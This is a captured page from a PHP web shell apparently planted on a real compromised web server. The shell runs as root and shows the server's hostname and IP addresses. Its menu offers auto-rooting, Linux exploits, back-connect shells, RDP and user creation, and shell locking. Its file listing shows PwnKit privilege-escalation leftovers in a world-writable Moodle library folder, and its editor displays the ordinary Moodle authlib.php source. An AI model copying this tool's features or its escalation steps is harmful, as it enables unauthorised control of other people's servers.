Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
adodb
[ DIR ]
drwxrwxrwx
ajax
[ DIR ]
drwxrwxrwx
alfresco
[ DIR ]
drwxrwxrwx
behat
[ DIR ]
drwxrwxrwx
bennu
[ DIR ]
drwxrwxrwx
db
[ DIR ]
drwxrwxrwx
ddl
[ DIR ]
drwxrwxrwx
dml
[ DIR ]
drwxrwxrwx
dragmath
[ DIR ]
drwxrwxrwx
dtl
[ DIR ]
drwxrwxrwx
editor
[ DIR ]
drwxrwxrwx
evalmath
[ DIR ]
drwxrwxrwx
external
[ DIR ]
drwxrwxrwx
filebrowser
[ DIR ]
drwxrwxrwx
filestorage
[ DIR ]
drwxrwxrwx
flowplayer
[ DIR ]
drwxrwxrwx
form
[ DIR ]
drwxrwxrwx
google
[ DIR ]
drwxrwxrwx
grade
[ DIR ]
drwxrwxrwx
htmlpurifier
[ DIR ]
drwxrwxrwx
jabber
[ DIR ]
drwxrwxrwx
jquery
[ DIR ]
drwxrwxrwx
minify
[ DIR ]
drwxrwxrwx
password_compat
[ DIR ]
drwxrwxrwx
pear
[ DIR ]
drwxrwxrwx
phpexcel
[ DIR ]
drwxrwxrwx
phpmailer
[ DIR ]
drwxrwxrwx
phpunit
[ DIR ]
drwxrwxrwx
portfolio
[ DIR ]
drwxrwxrwx
simplepie
[ DIR ]
drwxrwxrwx
tcpdf
[ DIR ]
drwxrwxrwx
testing
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
typo3
[ DIR ]
drwxrwxrwx
xhprof
[ DIR ]
drwxrwxrwx
xmldb
[ DIR ]
drwxrwxrwx
yui
[ DIR ]
drwxrwxrwx
yuilib
[ DIR ]
drwxrwxrwx
zend
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
accesslib.php
265.56
KB
-rwxrwxrwx
adminlib.php
294.68
KB
-rwxrwxrwx
authlib.php
19.24
KB
-rwxrwxrwx
badgeslib.php
44.87
KB
-rwxrwxrwx
blocklib.php
81.93
KB
-rwxrwxrwx
boxlib.php
22
KB
-rwxrwxrwx
cacert.pem
245.45
KB
-rwxrwxrwx
cacert.txt
811
B
-rwxrwxrwx
clilib.php
5.24
KB
-rwxrwxrwx
completionlib.php
46.64
KB
-rwxrwxrwx
componentlib.class.php
28.41
KB
-rwxrwxrwx
conditionlib.php
62.76
KB
-rwxrwxrwx
configonlylib.php
5.92
KB
-rwxrwxrwx
cookies.js
2.37
KB
-rwxrwxrwx
coursecatlib.php
91.78
KB
-rwxrwxrwx
cronlib.php
29.18
KB
-rwxrwxrwx
csslib.php
154.44
KB
-rwxrwxrwx
csvlib.class.php
16.92
KB
-rwxrwxrwx
customcheckslib.php
2.16
KB
-rwxrwxrwx
datalib.php
67.12
KB
-rwxrwxrwx
ddllib.php
4.7
KB
-rwxrwxrwx
default.ttf
502.23
KB
-rwxrwxrwx
deprecatedlib.php
165.21
KB
-rwxrwxrwx
dmllib.php
12.08
KB
-rwxrwxrwx
dtllib.php
2.58
KB
-rwxrwxrwx
editorlib.php
6.98
KB
-rwxrwxrwx
emptyfile.php
809
B
-rwxrwxrwx
enrollib.php
77.98
KB
-rwxrwxrwx
environmentlib.php
48.76
KB
-rwxrwxrwx
eventslib.php
22.33
KB
-rwxrwxrwx
excellib.class.php
29.17
KB
-rwxrwxrwx
externallib.php
29.41
KB
-rwxrwxrwx
filelib.php
175.17
KB
-rwxrwxrwx
filterlib.php
51.99
KB
-rwxrwxrwx
flickrlib.php
51
KB
-rwxrwxrwx
formslib.php
117.1
KB
-rwxrwxrwx
gdlib.php
11.97
KB
-rwxrwxrwx
googleapi.php
16.23
KB
-rwxrwxrwx
gradelib.php
52.35
KB
-rwxrwxrwx
graphlib.php
82.19
KB
-rwxrwxrwx
grouplib.php
30.42
KB
-rwxrwxrwx
htaccess
1.94
KB
-rwxrwxrwx
html2text.php
24.97
KB
-rwxrwxrwx
html2text_readme.txt
717
B
-rwxrwxrwx
index.html
1
B
-rwxrwxrwx
installlib.php
17.4
KB
-rwxrwxrwx
javascript-static.js
69.46
KB
-rwxrwxrwx
javascript.php
3.45
KB
-rwxrwxrwx
jslib.php
6.06
KB
-rwxrwxrwx
ldaplib.php
13.67
KB
-rwxrwxrwx
lexer.php
15.06
KB
-rwxrwxrwx
licenselib.php
7.24
KB
-rwxrwxrwx
listlib.php
22.2
KB
-rwxrwxrwx
markdown.php
81.45
KB
-rwxrwxrwx
markdown_license.txt
1.6
KB
-rwxrwxrwx
mathslib.php
4.27
KB
-rwxrwxrwx
medialib.php
40.88
KB
-rwxrwxrwx
messagelib.php
25.74
KB
-rwxrwxrwx
modinfolib.php
65.02
KB
-rwxrwxrwx
moodlelib.php
400.74
KB
-rwxrwxrwx
navigationlib.php
199.79
KB
-rwxrwxrwx
oauthlib.php
20.39
KB
-rwxrwxrwx
odslib.class.php
57.85
KB
-rwxrwxrwx
olson.php
23.57
KB
-rwxrwxrwx
outputactions.php
6.36
KB
-rwxrwxrwx
outputcomponents.php
97.42
KB
-rwxrwxrwx
outputfactories.php
12.01
KB
-rwxrwxrwx
outputlib.php
62.41
KB
-rwxrwxrwx
outputrenderers.php
138.77
KB
-rwxrwxrwx
outputrequirementslib.php
70.53
KB
-rwxrwxrwx
pagelib.php
68.45
KB
-rwxrwxrwx
pdflib.php
6.21
KB
-rwxrwxrwx
plagiarismlib.php
6.8
KB
-rwxrwxrwx
pluginlib.php
133.41
KB
-rwxrwxrwx
portfoliolib.php
53.26
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
questionlib.php
70.14
KB
-rwxrwxrwx
recaptchalib.php
11.84
KB
-rwxrwxrwx
resourcelib.php
8.9
KB
-rwxrwxrwx
rsslib.php
18.15
KB
-rwxrwxrwx
searchlib.php
19.91
KB
-rwxrwxrwx
sessionlib.php
39.46
KB
-rwxrwxrwx
setup.php
35.07
KB
-rwxrwxrwx
setuplib.php
59.55
KB
-rwxrwxrwx
soaplib.php
5.23
KB
-rwxrwxrwx
statslib.php
63.04
KB
-rwxrwxrwx
tablelib.php
58.04
KB
-rwxrwxrwx
textlib.class.php
34.87
KB
-rwxrwxrwx
thirdpartylibs.xml
8.36
KB
-rwxrwxrwx
timezone.txt
152.3
KB
-rwxrwxrwx
upgrade.txt
9.13
KB
-rwxrwxrwx
upgradelib.php
77.35
KB
-rwxrwxrwx
uploadlib.php
31.5
KB
-rwxrwxrwx
validateurlsyntax.php
22.73
KB
-rwxrwxrwx
webdavlib.php
67.83
KB
-rwxrwxrwx
weblib.php
113.11
KB
-rwxrwxrwx
wiki_to_markdown.php
13.14
KB
-rwxrwxrwx
womenslib.php
1021
B
-rwxrwxrwx
wordlist.txt
179
B
-rwxrwxrwx
xhtml.xsl
223
B
-rwxrwxrwx
xmlize.php
6.63
KB
-rwxrwxrwx
xsendfilelib.php
2.78
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : authlib.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Multiple plugin authentication Support library * * 2006-08-28 File created, AUTH return values defined. * * @package core * @subpackage auth * @copyright 1999 onwards Martin Dougiamas http://dougiamas.com * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); /** * Returned when the login was successful. */ define('AUTH_OK', 0); /** * Returned when the login was unsuccessful. */ define('AUTH_FAIL', 1); /** * Returned when the login was denied (a reason for AUTH_FAIL). */ define('AUTH_DENIED', 2); /** * Returned when some error occurred (a reason for AUTH_FAIL). */ define('AUTH_ERROR', 4); /** * Authentication - error codes for user confirm */ define('AUTH_CONFIRM_FAIL', 0); define('AUTH_CONFIRM_OK', 1); define('AUTH_CONFIRM_ALREADY', 2); define('AUTH_CONFIRM_ERROR', 3); # MDL-14055 define('AUTH_REMOVEUSER_KEEP', 0); define('AUTH_REMOVEUSER_SUSPEND', 1); define('AUTH_REMOVEUSER_FULLDELETE', 2); /** Login attempt successful. */ define('AUTH_LOGIN_OK', 0); /** Can not login because user does not exist. */ define('AUTH_LOGIN_NOUSER', 1); /** Can not login because user is suspended. */ define('AUTH_LOGIN_SUSPENDED', 2); /** Can not login, most probably password did not match. */ define('AUTH_LOGIN_FAILED', 3); /** Can not login because user is locked out. */ define('AUTH_LOGIN_LOCKOUT', 4); /** * Abstract authentication plugin. * * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @package moodlecore */ class auth_plugin_base { /** * The configuration details for the plugin. * @var object */ var $config; /** * Authentication plugin type - the same as db field. * @var string */ var $authtype; /* * The fields we can lock and update from/to external authentication backends * @var array */ var $userfields = array( 'firstname', 'lastname', 'email', 'city', 'country', 'lang', 'description', 'url', 'idnumber', 'institution', 'department', 'phone1', 'phone2', 'address' ); /** * This is the primary method that is used by the authenticate_user_login() * function in moodlelib.php. * * This method should return a boolean indicating * whether or not the username and password authenticate successfully. * * Returns true if the username and password work and false if they are * wrong or don't exist. * * @param string $username The username (with system magic quotes) * @param string $password The password (with system magic quotes) * * @return bool Authentication success or failure. */ function user_login($username, $password) { print_error('mustbeoveride', 'debug', '', 'user_login()' ); } /** * Returns true if this authentication plugin can change the users' * password. * * @return bool */ function can_change_password() { //override if needed return false; } /** * Returns the URL for changing the users' passwords, or empty if the default * URL can be used. * * This method is used if can_change_password() returns true. * This method is called only when user is logged in, it may use global $USER. * * @return moodle_url url of the profile page or null if standard used */ function change_password_url() { //override if needed return null; } /** * Returns true if this authentication plugin can edit the users' * profile. * * @return bool */ function can_edit_profile() { //override if needed return true; } /** * Returns the URL for editing the users' profile, or empty if the default * URL can be used. * * This method is used if can_edit_profile() returns true. * This method is called only when user is logged in, it may use global $USER. * * @return moodle_url url of the profile page or null if standard used */ function edit_profile_url() { //override if needed return null; } /** * Returns true if this authentication plugin is "internal". * * Internal plugins use password hashes from Moodle user table for authentication. * * @return bool */ function is_internal() { //override if needed return true; } /** * Indicates if password hashes should be stored in local moodle database. * @return bool true means md5 password hash stored in user table, false means flag 'not_cached' stored there instead */ function prevent_local_passwords() { return !$this->is_internal(); } /** * Indicates if moodle should automatically update internal user * records with data from external sources using the information * from get_userinfo() method. * * @return bool true means automatically copy data from ext to user table */ function is_synchronised_with_external() { return !$this->is_internal(); } /** * Updates the user's password. * * In previous versions of Moodle, the function * auth_user_update_password accepted a username as the first parameter. The * revised function expects a user object. * * @param object $user User table object * @param string $newpassword Plaintext password * * @return bool True on success */ function user_update_password($user, $newpassword) { //override if needed return true; } /** * Called when the user record is updated. * Modifies user in external database. It takes olduser (before changes) and newuser (after changes) * compares information saved modified information to external db. * * @param mixed $olduser Userobject before modifications (without system magic quotes) * @param mixed $newuser Userobject new modified userobject (without system magic quotes) * @return boolean true if updated or update ignored; false if error * */ function user_update($olduser, $newuser) { //override if needed return true; } /** * User delete requested - internal user record is mared as deleted already, username not present anymore. * * Do any action in external database. * * @param object $user Userobject before delete (without system magic quotes) * @return void */ function user_delete($olduser) { //override if needed return; } /** * Returns true if plugin allows resetting of internal password. * * @return bool */ function can_reset_password() { //override if needed return false; } /** * Returns true if plugin allows resetting of internal password. * * @return bool */ function can_signup() { //override if needed return false; } /** * Sign up a new user ready for confirmation. * Password is passed in plaintext. * * @param object $user new user object * @param boolean $notify print notice with link and terminate */ function user_signup($user, $notify=true) { //override when can signup print_error('mustbeoveride', 'debug', '', 'user_signup()' ); } /** * Return a form to capture user details for account creation. * This is used in /login/signup.php. * @return moodle_form A form which edits a record from the user table. */ function signup_form() { global $CFG; require_once($CFG->dirroot.'/login/signup_form.php'); return new login_signup_form(null, null, 'post', '', array('autocomplete'=>'on')); } /** * Returns true if plugin allows confirming of new users. * * @return bool */ function can_confirm() { //override if needed return false; } /** * Confirm the new user as registered. * * @param string $username * @param string $confirmsecret */ function user_confirm($username, $confirmsecret) { //override when can confirm print_error('mustbeoveride', 'debug', '', 'user_confirm()' ); } /** * Checks if user exists in external db * * @param string $username (with system magic quotes) * @return bool */ function user_exists($username) { //override if needed return false; } /** * return number of days to user password expires * * If userpassword does not expire it should return 0. If password is already expired * it should return negative value. * * @param mixed $username username (with system magic quotes) * @return integer */ function password_expire($username) { return 0; } /** * Sync roles for this user - usually creator * * @param $user object user object (without system magic quotes) */ function sync_roles($user) { //override if needed } /** * Read user information from external database and returns it as array(). * Function should return all information available. If you are saving * this information to moodle user-table you should honour synchronisation flags * * @param string $username username * * @return mixed array with no magic quotes or false on error */ function get_userinfo($username) { //override if needed return array(); } /** * Prints a form for configuring this authentication plugin. * * This function is called from admin/auth.php, and outputs a full page with * a form for configuring this plugin. * * @param object $config * @param object $err * @param array $user_fields */ function config_form($config, $err, $user_fields) { //override if needed } /** * A chance to validate form data, and last chance to * do stuff before it is inserted in config_plugin * @param object object with submitted configuration settings (without system magic quotes) * @param array $err array of error messages */ function validate_form($form, &$err) { //override if needed } /** * Processes and stores configuration data for this authentication plugin. * * @param object object with submitted configuration settings (without system magic quotes) */ function process_config($config) { //override if needed return true; } /** * Hook for overriding behaviour of login page. * This method is called from login/index.php page for all enabled auth plugins. * * @global object * @global object */ function loginpage_hook() { global $frm; // can be used to override submitted login form global $user; // can be used to replace authenticate_user_login() //override if needed } /** * Post authentication hook. * This method is called from authenticate_user_login() for all enabled auth plugins. * * @param object $user user object, later used for $USER * @param string $username (with system magic quotes) * @param string $password plain text password (with system magic quotes) */ function user_authenticated_hook(&$user, $username, $password) { //override if needed } /** * Pre logout hook. * This method is called from require_logout() for all enabled auth plugins, * * @global object */ function prelogout_hook() { global $USER; // use $USER->auth to find the plugin used for login //override if needed } /** * Hook for overriding behaviour of logout page. * This method is called from login/logout.php page for all enabled auth plugins. * * @global object * @global string */ function logoutpage_hook() { global $USER; // use $USER->auth to find the plugin used for login global $redirect; // can be used to override redirect after logout //override if needed } /** * Hook called before timing out of database session. * This is useful for SSO and MNET. * * @param object $user * @param string $sid session id * @param int $timecreated start of session * @param int $timemodified user last seen * @return bool true means do not timeout session yet */ function ignore_timeout_hook($user, $sid, $timecreated, $timemodified) { return false; } /** * Return the properly translated human-friendly title of this auth plugin * * @todo Document this function */ function get_title() { return get_string('pluginname', "auth_{$this->authtype}"); } /** * Get the auth description (from core or own auth lang files) * * @return string The description */ function get_description() { $authdescription = get_string("auth_{$this->authtype}description", "auth_{$this->authtype}"); return $authdescription; } /** * Returns whether or not the captcha element is enabled, and the admin settings fulfil its requirements. * * @abstract Implement in child classes * @return bool */ function is_captcha_enabled() { return false; } /** * Returns a list of potential IdPs that this authentication plugin supports. * This is used to provide links on the login page. * * @param string $wantsurl the relative url fragment the user wants to get to. You can use this to compose a returnurl, for example * * @return array like: * array( * array( * 'url' => 'http://someurl', * 'icon' => new pix_icon(...), * 'name' => get_string('somename', 'auth_yourplugin'), * ), * ) */ function loginpage_idp_list($wantsurl) { return array(); } } /** * Verify if user is locked out. * * @param stdClass $user * @return bool true if user locked out */ function login_is_lockedout($user) { global $CFG; if ($user->mnethostid != $CFG->mnet_localhost_id) { return false; } if (isguestuser($user)) { return false; } if (empty($CFG->lockoutthreshold)) { // Lockout not enabled. return false; } if (get_user_preferences('login_lockout_ignored', 0, $user)) { // This preference may be used for accounts that must not be locked out. return false; } $locked = get_user_preferences('login_lockout', 0, $user); if (!$locked) { return false; } if (empty($CFG->lockoutduration)) { // Locked out forever. return true; } if (time() - $locked < $CFG->lockoutduration) { return true; } login_unlock_account($user); return false; } /** * To be called after valid user login. * @param stdClass $user */ function login_attempt_valid($user) { global $CFG; if ($user->mnethostid != $CFG->mnet_localhost_id) { return; } if (isguestuser($user)) { return; } // Always unlock here, there might be some race conditions or leftovers when switching threshold. login_unlock_account($user); } /** * To be called after failed user login. * @param stdClass $user */ function login_attempt_failed($user) { global $CFG; if ($user->mnethostid != $CFG->mnet_localhost_id) { return; } if (isguestuser($user)) { return; } if (empty($CFG->lockoutthreshold)) { // No threshold means no lockout. // Always unlock here, there might be some race conditions or leftovers when switching threshold. login_unlock_account($user); return; } $count = get_user_preferences('login_failed_count', 0, $user); $last = get_user_preferences('login_failed_last', 0, $user); if (!empty($CFG->lockoutwindow) and time() - $last > $CFG->lockoutwindow) { $count = 0; } $count = $count+1; set_user_preference('login_failed_count', $count, $user); set_user_preference('login_failed_last', time(), $user); if ($count >= $CFG->lockoutthreshold) { login_lock_account($user); } } /** * Lockout user and send notification email. * * @param stdClass $user */ function login_lock_account($user) { global $CFG, $SESSION; if ($user->mnethostid != $CFG->mnet_localhost_id) { return; } if (isguestuser($user)) { return; } if (get_user_preferences('login_lockout_ignored', 0, $user)) { // This user can not be locked out. return; } $alreadylockedout = get_user_preferences('login_lockout', 0, $user); set_user_preference('login_lockout', time(), $user); if ($alreadylockedout == 0) { $secret = random_string(15); set_user_preference('login_lockout_secret', $secret, $user); // Some nasty hackery to get strings and dates localised for target user. $sessionlang = isset($SESSION->lang) ? $SESSION->lang : null; if (get_string_manager()->translation_exists($user->lang, false)) { $SESSION->lang = $user->lang; moodle_setlocale(); } $site = get_site(); $supportuser = generate_email_supportuser(); $data = new stdClass(); $data->firstname = $user->firstname; $data->lastname = $user->lastname; $data->username = $user->username; $data->sitename = format_string($site->fullname); $data->link = $CFG->wwwroot.'/login/unlock_account.php?u='.$user->id.'&s='.$secret; $data->admin = generate_email_signoff(); $message = get_string('lockoutemailbody', 'admin', $data); $subject = get_string('lockoutemailsubject', 'admin', format_string($site->fullname)); if ($message) { // Directly email rather than using the messaging system to ensure its not routed to a popup or jabber. email_to_user($user, $supportuser, $subject, $message); } if ($SESSION->lang !== $sessionlang) { $SESSION->lang = $sessionlang; moodle_setlocale(); } } } /** * Unlock user account and reset timers. * * @param stdClass $user */ function login_unlock_account($user) { unset_user_preference('login_lockout', $user); unset_user_preference('login_failed_count', $user); unset_user_preference('login_failed_last', $user); // Note: do not clear the lockout secret because user might click on the link repeatedly. }
Close